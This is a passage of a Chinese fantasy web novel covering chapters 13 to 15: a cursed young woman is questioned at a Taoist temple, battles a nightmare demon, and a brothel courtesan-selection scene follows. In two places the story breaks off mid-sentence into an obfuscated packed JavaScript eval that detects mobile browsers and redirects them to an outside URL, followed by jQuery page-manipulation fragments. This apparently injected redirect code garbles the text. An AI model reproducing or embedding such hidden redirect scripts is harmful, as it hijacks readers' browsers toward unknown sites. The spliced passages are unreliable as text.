阿萝无比激动地趴在桌案上,上半身探到荆从耳边,用九牛二虎之力大声说道:“阿兄带着娘子和你的徒孙来看你老人家啦!”
声音响彻整个玄都观上空。
阿萝还没有进来之前,荆从正端坐在书案前,悠悠地品着今早新得的紫笋茶。早已对自己收的这个小徒儿言行无状习以为常见怪不怪了,遂听得她在门外喊,自品茶不动如山。然话的后半句着实如五雷轰顶,令他时隔六十余年失态了,上一次失态还是在襁褓之中!
“你又在打什么诳语?!可是又闯祸了拿你阿兄搪塞我?”
13. 叫娘子
乔苑珠被徐枳也扣了一路,手腕已然发麻。
中途几次想跑都被他识破给提着领子抓了回来,心中十分生气,想来想去跑是肯定跑不掉,那便只能就坡下驴,见招拆招,遂后半程十分老实配合,搞得徐枳也屡屡回头看她。
“小娘子可见过一头金蟒?”徐枳也不绕弯子,单刀直入,他就是要从她口中问问,那巨蟒究竟是不是她放出来的,以及,她究竟是什么人。
乔苑珠闻言手腕一麻,心中直打鼓。她本不想招惹事端,各走各的阳关道,才未将咒印之事与他说,眼下已经窗户纸都不要,直接将窗户都打烂了,此次恐怕再难以掩盖。
“什,什么金蟒啊,我没见过。”乔苑珠哆哆嗦嗦道。
她一贯觉得,面对审问这种事,若是没有实证在对方手中握着,那便还有转圜的余地,无论对方怎么威逼利诱,自己只需要一口咬死,对方也只能拿她没办法。章道长说她身上有妖气,焉知不是南依娘子身上的?
要怪就怪那个白面书生,当初就应当跟她交代清楚再走,她便不会那么轻易在章道长面前班门弄斧,搬起石头砸了自己的脚。想到此处,乔苑珠只觉得头痛,又看向徐枳也的背影,此时的他正被怀中的婴儿伸手掐着脸。
道长应该是好人吧,要是如实说了,应当不会把她当成妖物收进他的葫芦里吧……
徐枳也眼见着她腹诽,心知她是不肯轻易交代了,遂将她的手握得更紧,乔苑珠吃痛,抬头恶狠狠地瞪了徐枳也一眼。
快行至玄都观门口,徐枳也才松开了她的手,脚步不停,头也不回地笑着与她道:“乔娘子还是少打歪主意,到了我道门,凡事我都有办法一探究竟。”他将“凡事”两个字故意加重了语气。
她要收回刚才觉得他是好人的话!
乔苑珠打眼一望,那玄都观的道门高耸入云,有参天之势。恐怕是阿萝回来报了信,知道徐枳也要将她带回观中,眼下道门里头,广场前头,台阶之上站满了身着道袍的修士,皆手持宝器,严阵以待,中间站了一位鹤发苍颜的老者,面带慈色,好似仙人。此时的玄都观,颇有整个山门倾巢出动要捉一个祸世魔头的阵仗。
乔苑珠一瞬间有些害怕,她将自己短暂的十七年人生的日日夜夜回想了个遍,实在没想起自己干过什么伤天害理的事,即便是被白面书生刻上了法印之后,她也只是捉些害人的小妖,拿了怨气续命,连那种天生地养,一件坏事没做过的小妖,她见了也是绕着走。
何至于此啊?
她两三步跟上徐枳也的步子,拉住他袖口的一角,躲在他身后瞧,心想势头不对她肯定是要跑的。
徐枳也被她拉得脚步一顿,回头看见她行事鬼祟,一副做了亏心事的样子,实在好笑,突生捉弄一下她的兴致,便脚下生风,步子快出她好几轮去,如此一来,她果然拽不住了,将她甩掉之后,心下有三分得意,甩了甩辫子,径直往山门去。
乔苑珠赶不上徐枳也的步子,口中嘀咕着骂了两句,眼见着观门里头势头压人,她思量片刻,三步并作两步小跑至徐枳也身侧,右手从他臂腕穿过,左手搭上他的小臂,眼波荡漾,脸也贴过去,柔声道:“郎君——走慢些,人家都跟不上了。”
此话一出,徐枳也背心发寒,与此同时两人正好步入观门。一众道人放下了平日两耳不闻窗外事的矜持,纷纷议论起来。
“章师兄何时娶的娘子?”
“那小娘子是异国的吗?长得这么好看。”
“绝对不可能,一看就是妖女,耽误师兄精进修为!”
“什么妖女不妖女,你是老古董吗?好看的女子是拿来给你们男人作践的?你讨厌女人?”
“况且,咱们修的是道,不是出家,有了心悦之人,说不定师兄的修为能突飞猛进呢,你没听过阴阳双修一说吗?”
“……”
然而等到徐枳也带着婴儿和乔苑珠走到了广场中央,一众人便自动噤声了。
婴儿魂体本就沾染了南依的妖气,此时在一派清正的玄都观中,显得尤为乍眼,众人都将目光转向一位朱颜鹤发的老者,试图从老者脸上探求一点态度。
老者不语,足下微点,轻如羽毛般从台阶上跃下,片刻至徐枳也面前,伸手悬至婴儿面上,手下灵流波动。
“师父。”徐枳也没多说什么。
老者收了手上的动作,一副了然的模样,缓缓道:“速送去三御殿罢。”
乔苑珠见状,自觉行状不妥,便松开了徐枳也的胳膊,正色朝老者施了礼,也跟着去了三御殿。
三御殿是玄都观专门行法事的大殿。原本超度这事儿,实在算不得什么大型法事,寻常念念咒也就过去了,然而南依娘子生前含冤,死后亦有怨愤,且婴儿非是以正途离体,故此魂体需得专门设坛诵经,插魂幡,立牌位,烧纸钱,供香火,耗了半日。
半日里徐枳也没拘着乔苑珠,任凭她闲逛。听闻玄都观乃是皇家道观,乔苑珠特意绕去三座大殿观摩,可是到了之后大失所望,没有镀金的门,也没有翠玉的顶,只有几片薄瓦,甚至还有几扇门与殿身十分不搭,像是刚从后山锯了木头砍出来的,虽不至于漏风,可也实在是经不起折腾,感觉风雨稍微大一些都要垮掉。
各处殿供奉的祖师、尊者和其他道观没有什么不同,唯一让乔苑珠觉得新鲜的,是观中随处可见的野猫,小猫们不仅能能随处走动,还能堂而皇之睡在天尊神像之上,甚至还有小猫的窝棚随处可见。
乔苑珠将玄都观的猫猫全都数过了一遍,一共有三十六只,待到她全都抱着摸完一遍之后,那边的超度竟然还没结束。
所谓人“吃饱喝足思□□”,此时不走更待何时,她悄悄从殿中退出,正欲往山门外去,只听得身后一男声朗朗道:
“娘子欲去往何处?不与为夫一道?”
那“娘子”二字声音颇大,听得此声整个三御殿中人均移目望向了乔苑珠,又引得众说纷纭。
“啧,这也太明目张胆了。”
“害,新婚小夫妻嘛,难免的。”
“你看那小娘子脸都红到脚脖子了,回去指不定怎么收拾师兄呢。”
“我观师兄应当不是个怕娘子的。”
荆从慈眉善目地从徐枳也身边经过,伸手在他头上用力敲了敲,道:“乔善信留步,善信此番善举,实属难得,何不留下来喝盏茶再走?”
他一挥衣袖,侍立一旁的道童立马会意,躬身出了殿,不一会儿端着一盏青碧悠悠的茶到乔苑珠跟前。
乔苑珠虽说没正儿八经修过道,但是道家寻常用的法器、物件她还是略知一二的。要说眼前这茶,哪里是普通的茶,乃是专门对付妖邪的显形水,她深知今夜躲不过,索性端过茶盏,一饮而尽,坦荡道:“请观主与章道长借一步说话。”
-
“这么说来,乔娘子也不知那书生是谁,亦不知他去往了何处?”荆从问道。
“不错,我后来也多方打听过,奈何那书生并未留下任何物件,唯一留下的字条也是用法术撰写,阅后即焚。”
乔苑珠说的真诚,未有半分隐瞒,见着荆从和徐枳也脸上均是一副苦思冥想的愁色,又赶紧补充道:“二位道长,我当真不是妖邪,那茶我也喝了,关于法印,我就只是想治病,那书生说,若没有他这咒印,如今我已死了。”
乔苑珠原本是不畏生死的。公主府失火那夜,她也想跟着娘亲去了一了百了,反正阖府都没了,她一个人留在这世间,也没什么意思。可等到火苗舔到衣角,浓烟扑鼻之时,幼小的她终究是害怕了,神志不清地祈求神明救助。
后来她想,人想活着,就是本能,人无法抗拒本能,便应该好好经营这个本能,让短暂的一辈子精彩些,等到要被烧成一捧灰的时候,那些经营便都成了淡然面对死亡的勇气。
故而,捡回一条性命之后,她一直觉得自己是偷生,算是应了那野游道士的“偷命”一说,此后她便一直很惜命。
“不知乔娘子是何时发现自己的病症的?”
“约莫……是十年前了,家乡发了瘟疫,好多人都感染了,我也未能幸免。好在吃了些官府施放的汤药,病情有所控制,可要说真正稳定住病症,还是在书生给我绘制了这个咒印之后。”
说起来桑桑国亡国是因为大齐,然而乔苑珠心中明白,桑桑国气运本就到头,不是大齐也会是别的国家,想来突发瘟疫的地方多了去,有她这样病症的也不在少数,实在不必刻意遮掩,反倒叫人怀疑。
“这疫病的症状可否与贫道描述一二?”
“初发像是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071468|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感了风寒,后面开始鼻血不止,我听闻有人身上长鳞片,若那鳞片长满全身,便是死期,可我从未长过鳞片。”
“乔娘子勿怪,可否容贫道探一探你的咒印?”
“并无不可,只是我这咒印需在有妖气时方才显现,此时我也唤不出来。”
“无妨。”荆从抬手悬至乔苑珠面前。
乔苑珠闭上眼,只觉热风从面下腾起,眉心逐渐有发热发烫的感觉,须臾,她察觉到道长收了法力,遂才睁开了眼。
她瞧了瞧徐枳也的表情,再看了看荆从的表情,心中实在忐忑,当初那白面书生说的信誓旦旦,一脸诚挚,加之她也不想自己的病症一拖再拖,故而答应,若是因此错信,着了他的道,那还真是丢脸又倒霉!若是再让他见着那书生,她指定要揍他一顿。
她惴惴问道:“道长......”
荆从冥思片刻,摸了摸髯须,徐徐道:“乔娘子不必多虑,贫道虽未能探出此咒印源自何处,亦可直言,此咒印确能治你的病症。吾亥山一事,我已听徒儿道清原委,乔娘子心善,不仅救了我徒儿,亦没有用它做伤天害理之事。”
荆从起身,转头从桌案拿起几张绘好的符纸递给乔苑,又道:“驱邪避妖,乃是本观职责所在,贫道会着人调查此事,乔娘子大可放心。只是乔娘子近来恐多招惹妖邪,贫道赠几张本观的符箓予你,必要时或可帮乔娘子挡一挡。”
乔苑珠闻言喜极,没想到章道长竟然跟他师父说是她救了他一命,实在是知恩图报的人,忍不住转头看向徐枳也,朝他敬上一个笑眯眯的表情,此时再看章道长,竟然面相都变得慈善了,此前诸多应当都是误会,要好好与道长打好交道才行。
另外自己身上的咒印果然没有太大问题,看来也是错怪那书生了,下次见着应该给他好脸色。加之受了荆从道长的慷慨赠予,实在是美哉,若是能回去照着符纸,仿出个一二三来,以后捉妖就事半功倍了。
她赶紧起身与荆从拜了拜,道:“多谢道长,既然如此,那我便不多叨扰,先告辞了。”
临走不忘向一边歪靠着的徐枳也递了个“多谢”的眼色,徐枳也看了直想笑。
哪里来的这么欢脱没心机的小娘子。
见身影渐行渐远,徐枳也道:“师父,她那咒印我也探过,不是熟悉的妖气,可是巨蟒现世,我实在担心。”
“不用过于忧虑,明日我着你师姐去查,恐怕要费些功夫。”荆从道。
徐枳也突然间想起来还有一事,他道:“对了师父,人有可能夺了妖的舍吗?我观乔娘子的生辰八字,乃是‘偷命’的命格,加之两次三番在她身上探出妖气,我担心……”
荆从捻了捻胡须,道:“夺舍续命之术,乃是几百年前已经陨落的神族的命赋,此术理千枝百节,衍生出来的术法更是变化多端。
很多不学无术的道修甚至说不清妖邪附体和夺舍之术的区别,若是要再去探究这夺舍究竟是异魂入体还是一体多魂,人有无可能夺了妖邪的舍,恐怕更难有人能说得清。”
徐枳也原本歪坐在桌上,好没正形,听荆从说到这别人不感兴趣的道修伦理,他反倒来了兴致,道:“我知道啊师父,师父你来考考我!”
他的意思是要他师父将刚才的话变作考题来问题,打小他就这脾气,若是不依他,他能缠上人半天,荆从只能依着他。
“那为师考考你,何为附体,何为夺舍?”说罢荆从就不理睬他,自顾自地喝茶去了。
徐枳也道:“附体乃是妖邪临时掌控人的躯壳,当作傀儡,附体的时间不能长,长了妖力衰弱,找不到命门,便会困死在人体内。夺舍不同,乃是妖物主动剥离魂体,种入人的命盘当中,两魂相交相缠,因着机缘不同,融合程度也会不同,故而没人能说得清,夺舍究竟是谁夺了谁的舍。”
“嗯,不愧是我最得意的好徒儿。”荆从敷衍道。
“话说回来,师父,那咱们就放任不管么?妖的魂体若是还在,它有心藏匿,令道修不能察觉,恐怕后患无穷。”徐枳也忧心道。
荆从道:“刀剑本身无功无过,功过皆在用刀之人,你怕什么?你亦不用将人家逼得这么紧,静观其变即可。”
“师父,冤枉,我可是在她手里吃了两回亏。”徐枳也赔笑道。
14. 魇童
从玄都观出来,一路畅通无阻,待到退了租赁的马车,回到逐影斋已是月升中天。
乔苑珠这几日闹缺了觉,今日又起了个大早,爬了一整日的山,眼下觉得头重脚轻,眼皮挂不住,匆匆洗漱便上床睡下。
衾被早被阿青熏过香,淡淡的玉兰花味此刻有安神的效果。屋中没了小婴儿团子吵闹叫嚷,一下子安静了好多,渐渐地,她直觉浑身越来越沉,像是堕入了一片棉花田里,舒适又安心,再接着便沉静地陷入一片混沌当中。
都说梦是白日的所思所想,乔苑珠惯来梦见的都是公主府的那场大火,今日却不同,那片混沌将她如纸鸢卷起,从火光冲天的院门里,卷到了白茫茫一片中。模糊的影像开始变得清晰,连那种睡梦当中不该有的寒冷刺骨之意都格外清晰。
忽然,她眼前亮了一下,再睁开眼是漫天飞雪和粉雪盖世,透骨的寒冷从脚底蔓延至身上的每一寸肌肤。低头看下去,果然,鞋子破了好大个洞,露出来的脚指头已经冻得通红,她尝试着动了动,没什么反应。
好在还能迈得动腿。举目四望,商铺家舍门窗皆紧闭,四下空寂无人,盖满白雪的无人街头,只有一顶花青小轿很是乍眼。大雪天出门的富贵人家夫人,正要去城外的三清寺。
眼瞧着那夫人年纪不大,头发盘得端端正正,皮肤白皙水嫩,面带红晕,一双嫩如水葱的手轻轻抚在尚平坦的肚子上。小轿抬着,身边紧跟着个老嬷嬷,又是盖被,又是递手炉。
乔苑珠已是三日不曾进食,那轿中的夫人是她今日唯一的机会。没作踌躇,正当她鼓起勇气迎上去时,却见那轿夫步子远离她偏了偏。乔苑珠有些慌,错过这次,后面不知何时才有机会了。
顾不得许多了,乔苑珠快步跑到矫前将轿夫拦了,在老嬷嬷骂出口之前,咚得一声跪下,双手扶额拜了三拜。
“夫人此番喜得贵子,乃是天上龙儿转世,携福禄寿喜四大气运而来,是为报恩。”
“夫人前世今生定都是慈善之人,夫人救人就世,往后,是要飞升的气韵。”
“……”
说了好半天多子多福的吉祥话,又手舞足蹈给夫人祈了个福,不知是本身就高兴还是被她的三言两语逗开心了,夫人在轿中笑出声来,一双葱白的手伸出轿帘来晃了晃,那侍立在旁的嬷嬷便立刻会意,从手提的食盒里拿了馒头和点心交到她手中,又叫她让开些,他们还要赶路。
乔苑珠躬身接过,又立刻跪下拜了三拜。眼见小轿走远了,她才手握一块点心囫囵啃起来,又将剩下的馒头塞进怀中,急步走进一旁的小巷。
小巷白墙黑瓦,七拐八绕,迷宫似的,乔苑珠需得穿过这处小巷才能去往落脚的窝棚。不知是多年流落街头养成的戒备习惯,还是提前预知了危险,她只觉得心咚咚跳个不停,那种天降甘霖之后不知何时又会雨停再逢干旱的不安将她的咽喉扼紧。
埋头正走着,突然前头闪出几个高大的身形,乞丐模样,看起来全都比她大出好几岁,手中还各自提着棍子,虎视眈眈,正盯着她怀中的馒头和点心瞧。
乔苑珠立刻朝后退了两步,转身就开跑,哪知没跑出去两步,又窜出来几个手拎麻袋的人。
对方早就盯上她,是有备而来。
逢乱世,女孩儿似乎比男孩儿要讨人可怜些,她又生的可爱,举止间是分寸和礼仪,尤其讨富贵人家的夫人欢心,打赏领的又多又好,这伙人像是摸到了规律,也不主动去讨要了,只跟着她。
已连着被抢了三回,她心知这一回断不能再让,再让,她会连站起来的力气都没有,深冬里就是个死。她将胸前的衣襟紧了紧,又四下望了望,捡起一根树枝,紧紧握在手中,恶狠狠地对向领头的那个少年。
对方见她有挑衅的意思,顿觉没面子,抄起棍棒就朝她挥过来,另一拨人便在一旁瞅准机会要将麻袋套在她头上。
她哪里是一群人的对手,三两下就被逼到了墙角,几个人扯着她的头发,一个上手要撕开她的衣裳,她见势逮住那人的手死死咬住,任其他几个拳打脚踢都不放。
眼角磕出血,嘴角也咬破了,怀里的馒头掉了一地,就快扛不住,正在此时,突然头上响起一个声音。
“官兵来啦!”
几个小乞丐一听官兵来了,连忙停了手。领头的尤其谨慎,命其中一个去巷子口瞧一瞧,果然,那打探的人回来,一群人便顾不上抢馒头,灰溜溜跑了。
乔苑珠还没从铺天盖地的拳脚中缓过神,便见到眼前递过来一只手。那手比她的大不了多少,伸到她面前时还递上一张帕子,乔苑珠仔细看了一下那帕子,像是从破旧麻衣上面裁下来的角料做成的,右下角还秀了朵鲜亮的翠雀花。
对方看着她,笑眯眯地道:“你真勇敢,被打了也不哭,还知道咬回去,我很喜欢你。”
见她低着头就是不肯说话,又道:“不如我们做朋友吧,我叫庄林巧,你叫什么名字?”
乔苑珠原本是不想搭理她的,她觉得她也是跟那群小乞丐一样,是来抢她的吃食,只不过换了一种让她不太痛的方式,她撇开庄林巧的手,道:“我不需要。”
庄林巧仿佛早就猜到了她会是这个态度,不怒反笑道:“不要什么?不要这帕子,还是不要跟我说朋友?”
她原地踱了两步:“还是说,你不要分给我馒头?”
说着她便伸手来抢,乔苑珠顿时浑身绷紧,预备反击,心想,她果然是跟他们一伙儿的,不料庄林巧吓了她一下又笑起来:“我才不要你的馒头呢,我只想跟你做朋友,你是个有趣的人。重新介绍一下,我叫庄林巧,家住石头镇仲子村,村口石头桥往前走,有棵老槐树,底下就是我家。”说着又朝乔苑珠伸出了手。
乔苑珠愣了愣,只觉得这人话真多,老底儿都交代了,便拧拧巴巴道:“我叫晓晓,多谢你。”
“那好,从今天起,我们就是朋友了,以后你出去就说是我罩的,没人敢欺负你。”庄林巧将她一把从地上拉起来,得意地道。
乔苑珠弯腰捡起地上掉落的黑乎乎的馒头,罢了抬头看向面前的女孩儿。十来岁,白白净净,一双狐狸眼生的明媚又张扬,鼻梁高挺,很是好看。
她不知道能不能信任她,怯怯地问道:“你为什么要帮我?”
“我都说了,看你勇敢,我这人最喜欢自己争的人了,你这人怎么这么拧巴,不肯相信人?”
乔苑珠悄声嘀咕:“不是所有人都能信的……”
她还没说完,庄林巧便接过话茬:“信了就信了,吃了亏打回来便是,要是见着谁都一副防备的样子,日子还过不过了?”
乔苑珠没接话,只是定定地看着她。
后面连着好几天,庄林巧日日跟着她。
上午给她送吃的,顺便帮她打跑守株待兔她的乞丐,下午拉着她去她家老槐树下堆雪人。
她感受得到,庄林巧的手是极温暖的。
-
画面转得很快,庄林巧拉着她奔跑在林子里,她们一直跑一直跑,没有停,她的心跳逐渐变快,愈发不可收拾。她开始喘不上气,忙拽了一把庄林巧,示意她想要慢点,可是庄林巧头也不回。
不知跑了多久,她们来到一个荷塘边上,那荷塘一片漆黑,显然是极深的。正当她无比害怕的时候,突然庄林巧松开了她的手,往她背上一推,随之而来是脚下踏空,接着眩晕和窒息袭来,眼前又是一片混沌。
乔苑珠猛地惊醒,背心已经汗湿。
来不及回味梦境,想起身,却发现身体瘫软无力,如何都动不了,胸口更是像被什么重物压着,天塌了似的感觉。想喊阿青,喉咙也被堵住了,眼皮也睁不开,只剩下脑子一片清醒。
她料想,自己定是又被哪家小鬼给缠上了!
当真倒霉!
眼下孤立无援,只得心中念诀,试试看强开咒印,只要咒印一开,普通小鬼小妖定能被驱走。可是无论她心中默念多少遍,咒印都是毫无反应,身体依旧无法动弹!
这时候她突然听见枕头下呲啦一声,接着闻到一股纸烧焦的味道。她心中顿时大喜,是玄都观的符纸点燃了!
毕竟是玄都观给的符纸,料想应当是有用的,所以她在睡觉之前就在屋内贴了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071469|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几张,又往枕头底下塞了些。看样子,这妖物一来,虽没有立即起作用,时间一久,符纸感应到自燃了!
妖物似乎被突如其来的符箓震慑,施的法立时破了。
乔苑珠猛地睁眼,还真见一面色铁青,面上横七竖八长了六只眼的赤身小童趴在她的胸口上!血口大张,口中有妖气聚形,一路延伸至她的口鼻,一双鬼手又死死掐住她的脖子。难怪她梦里梦外都没法呼吸,这小鬼在吸她的精气!
有魇童,赤身童子的模样。
民间传言,有个妇人怀胎十月生出个长相丑陋的怪胎,怪胎不仅长相奇丑无比,还十分痴傻,被人嘲笑长得丑陋也不放在心上,只是笑笑不说话。
无奈他阿爹阿娘也不喜欢他,常常不给他饭吃不给他衣穿。他想不明白,还以为爹娘也跟其他人一样,是被他的脸吓到了,他便找了石头在自己脸上乱涂乱画,期望改变自己的面貌。石头划过便是一片血肉模糊,远了一看还以为是长了六只眼睛。
他爹娘实在受不了别人的指摘,找了个机会将他掐死了。
他死后执念不散,化作妖鬼,专门在晚上摸到人床头,给人造梦吸人精气,若是不设防,沉湎在梦中,便会被它吸干精气而亡。
乔苑珠腾地翻身下床,魇童跟着骨碌碌滚到地上。她捏诀聚出灵焰朝它掷去,趁着魇童忙着躲避,又聚出法力凝成一道鞭握在手中,蓄力朝魇童的甩去。要是捉住这只魇童,不仅报了仇,还能取了它的怨力,一举两得,送上门的大礼,岂有不受之理?
不料魇童个头小,身体滑溜溜,一个打转就从法鞭下逃脱了,那魇童似乎并不恋战,转头朝她阴森森地笑了笑,跳窗就要逃。
乔苑珠觉得奇怪,这魇童搞这么一遭,什么都没拿到,纯粹来恶心她,如今又只顾着逃跑,倒像是想要引她去什么地方。
她转头从枕头底下摸出没烧完的符箓,开门寻着魇童留下的妖气找过去,也不着急去追,只观察魇童逃跑的路线。
魇童跳窗而出,没走小道,从逐影斋一路沿着西街大道朝东,东面是临惠坊,晏京城最大的烟花柳巷。
-
晏京城民风开放,晚上亦不宵禁,乔苑珠顺利进入了临惠坊,然而到了坊里,魇童的气息就断了。
坊中长街一眼望不到头,一路华灯璀璨,街边叫卖不绝于耳,人来人往,许多衣着艳丽的女人在街上走着,纱衣衬得身形影影绰绰,男人们推杯换盏,俨然一座不夜城。
乔苑珠走到一个卖女人玩意儿的摊子面前,拿起一柄青白玉色团扇,扇面做成了鸭梨的形状,中央绣了一只翩翩的蝴蝶,右下角一簇蓝色翠雀花十分惹眼,扇面下还坠着一排珍珠吊坠,扇动起来晃晃悠悠叮呤作响。
她轻轻抚过那簇翠雀花,想起刚才做的梦,想起梦里递给她手帕的人,心中思绪万千。
突然听得有人喊:“明月仙居掌灯啦!”原本凌乱的人群突然变得有序,都朝一个方向涌过去。
她顺着人潮走,抻着脖子朝前望过去,只见无边的湖面上,一幢五层的红色楼阁赫然矗立,梁柱间挂满了制式统一的纱灯,楼顶一盏巨大的莲花灯笼正被高高挂起。由于建在湖中央,看起来并不能直接上去,需得到前头递牌坐画舫。
忽听得一人道:“掌莲花灯,这是又要选仙倌儿,还是要进新倌人啦?”
“肯定是选仙倌儿,花车游行几日前才结束,哪有这么快,我有个远方亲戚,他家女儿今年也要去选新倌儿,还在制衣裳呢,听说年头定的亲事都推啦!”
“被选上了有什么好处吗?”乔苑珠疑惑问道。
那人见乔苑珠十六七岁,生的可爱,不作设防道:“当然是飞上枝头当凤凰啦,就不用在穷日子里蹉跎啦。”
乔苑珠兴致缺缺,正想走,忽又见前面人群自动分列两旁,一抬小轿停在中央。
里头款款走出一仙姬般的女子,看身形穿着,与昨日在花车中见到的那名舞姬十分相似。
舞姬似乎感受到她的目光,也从人群中抬眸望过来,目光落在她脸上,停顿片刻,浅浅一笑便登上画舫往小楼去了。
15. 冥婚
明月仙居,主楼正堂。
楼中今日不待客,主楼正堂一应物件全都换成了大喜红色,一楼堂中四个角,分别有一名验官坐阵,这是待会儿要在仙倌儿选拔过程当中,将娇娘所有的言行举止,一颦一笑都记录下的人。
二楼有浅黄色帘幕垂下,里头坐着个华服老爷,看不清面貌,只能从周身气度判断,应当是位非富即贵的人。
庄林巧今日应酬完崔尚书家的宴,便马不停蹄地往这边赶。堂中人坐的坐定,站的站定,皆将目光都放到她身上。她是最后一个到的,竟比那二楼的贵人还要迟了一刻。
然而她从进门起便昂首阔背,丝毫不见惧色,她步至堂前,将手中抱着的琴交到丫鬟手中,在一众娇娘嫉妒但又无可奈何的眼光中朝二楼欠身微拜了拜。
“巧娘今日来晚了,有罪,请贵人和福娘责罚。”
被叫做福娘的丰腴妇人此时正站二楼帘幕的旁边,帘中贵人不说话,只抬了一下手,福娘便荣光满面地从幕后踱出,由老嬷嬷搀着,徐徐从二楼下到庄林巧身边,殷切地将她搀起来,笑吟吟地道:
“快起来,贵人说了,不记你的过。”
庄林巧柔声应了句是,便站到了右侧西苑娇娘的队首。
福娘虽已年过四十,打扮却花枝招展,丝毫不比此刻堂中央站着的十余名娇娘差,走起路来钗环叮当,胸前的肉也要抖三抖。
她步至堂中央,在一把紫檀木椅子上坐下,边上候着的女侍立刻递上茶盏,边喝着茶,边抬眼一一扫过面前的娇娘。
明月仙居分东西二苑,既是娇娘们的居所,也是平日待客的地方。眼前皆是东西两苑管事荐上来的佼佼者,按苑分列站着,右侧是西苑,队首便是庄林巧,其余的人虽比不上她,却也是她福娘精挑细选出来的,算得上出水芙蓉。
她心中暗自得意,自己平日对她们的培养没有白费,一个个都争气得很,不像别的馆中的姑娘,一哭二闹三上吊,寻死觅活,又哪有心思挣钱呢。
要说这里面她最喜欢的,还是西苑首位的庄林巧。生得玉貌花容,颇有异域风韵,聪明,学东西很快,嘴也甜,哄的那些个当官儿的合不拢嘴,没少给楼里挣名声和银钱。
几年前,这姑娘才十四五岁,嫩得掐得出水,跟着她的花车跑了一路,到她跟前儿来说要当她的花娘。她当是在戏耍她呢,别是家里人喊出来讹上她的。索性晾了她三五天,谁知这姑娘愣是每天都来。
若是说被她的坚持打动那是不可能的,她福娘纵横烟花场多年,什么人没见过,人心最不值钱,她只图这姑娘的一双狐狸眼,那叫一个媚,又是初出茅庐,眉眼间尽是天真无邪。
既然姑娘自愿,哪有拦着不让财神进门的道理,索性给了这姑娘家里几两银子把人收了。她那老爹也是个没心肝的,拿着钱一眼也没瞧自己姑娘,转身就喝花酒去了,也没想过,他的姑娘日后又要陪谁喝花酒呢。
几年下来,她可没少花银子在庄林巧身上。这晏京城里最好的琴师、画师、棋手统统都被她请了一遍,最好的衣服料子,时兴的胭脂口脂,哪一样她庄林巧在这楼里,都是最好的。
谁都能让她赔本儿,独庄林巧第一个不能。
她抬手示意管事嬷嬷,嬷嬷会意,便高声朝堂中宣:“明月仙居仙倌儿选拔,诸位要好好表现,莫要辜负了贵人的栽培和眷顾。”
“是。”十几名娇娘齐齐道。
“今日选拔总计两轮,第一轮才艺,第二轮颜色。”
“第一轮!叫到名字的,便上前来罢。”
娇娘们需要按照次序,依次到堂中央秀技艺。若是得了二楼贵客的好,便会拿到从帘后掷下香牌。得香牌者留,没得的便只能回去熬着。
一轮罢,只有五人被抛下了香牌,其余没选上的皆被送出了正堂。
“第二轮!褪衣!”
话毕,娇娘们齐刷刷脱下了衣裳。除了四角的验官,从旁还上来一名神情肃正的验官嬷嬷,细致又谨慎,一寸一寸地检查过女子们的身体,又详细记录尺寸大小、肌肤触感、斑痣位置等。待记录完毕,将册子交给福娘之后便退下了。
此时,二楼的贵客似乎也一盏茶毕,一声不响地撩袍走了。
-
西苑,雅字,庄林巧院。
明月仙居东西二苑又分淑清雅三号院,其中属雅字号的宅院等级最高,规格最好,庄林巧的院子就在雅字列。
“巧娘,今日您肯定是第一名。”小侍婢一边殷切地帮庄林巧收拾着乐器,一边瞧着庄林巧的脸色使劲说漂亮话。
庄林巧睨了她一眼,并不接话,兀自拆着钗环发髻。
那婢子说是侍婢,实际就是福娘派来盯着她的眼线,人在烟柳巷,身边人皆因利益绑在一起。你登高了,不将你拉下来,便要感恩戴德了,谁也不会替谁真的高兴。不过都是一群可怜人罢了。
早先福娘与她透露,仙倌儿不是每年都选,得看明月仙居背后的那位贵人。有的娇娘一辈子在楼里也遇不上一回,她庄林巧赶巧了。
听闻只要选上,便是摇身变凤凰,变得可不是普通的凤凰,钱她庄林巧看不上,寝屋里床底下几大箱她嫌睡觉嗝得慌,唯有权,才是她真正想要的。
见小丫鬟还陪笑着,庄林巧从腕中褪下一个镯子放入她手中,笑道:“今日若是事成,你我都能翻身,往后咱们俩还得彼此多多照拂才是。”
丫鬟收了手镯,喜上眉梢,道:“巧娘哪里的话,咱们做侍婢的,哪有让主子照拂的道理,只要是巧娘吩咐的,奴婢都给您办。”
“还真有一事,要托翠儿帮帮我的忙。”庄林巧轻抚上她的手。
“巧娘您说,包给您办妥。”翠儿笑眯眯地道。
-
叩叩两声敲门声响。
阿青打开逐影斋铺子的门,探出个脑袋,只见门边立着个小丫鬟,衣着甚是艳丽,腕中还挂有几个不菲的镯子。
“请问,乔娘子是住在这儿吗?”翠儿抻头问。
阿青打开门的时候,门边立着的两个纸糊的童子没放稳,跟着她的脚风就倒落出来了,翠儿见状直跳脚,“晦气”两个字到了嘴边,心想着自己有事找上门,便生生咽了下去。
阿青狐疑看了一眼,错身挡了翠儿的视线,道:“您是哪位?”
翠儿自觉失态,抖擞了下精神,娇声道:“姐姐好,我是明月仙居庄林巧巧娘身边儿的,叫翠儿,巧娘托我来寻旧友一叙,不知……乔娘子是否住这儿?”
庄林巧,这三个字听得乔苑珠心惊。
乔苑珠闻声从院中出来,打量了一眼翠儿,道:“我不认识什么巧娘,您怕是认错人了。”
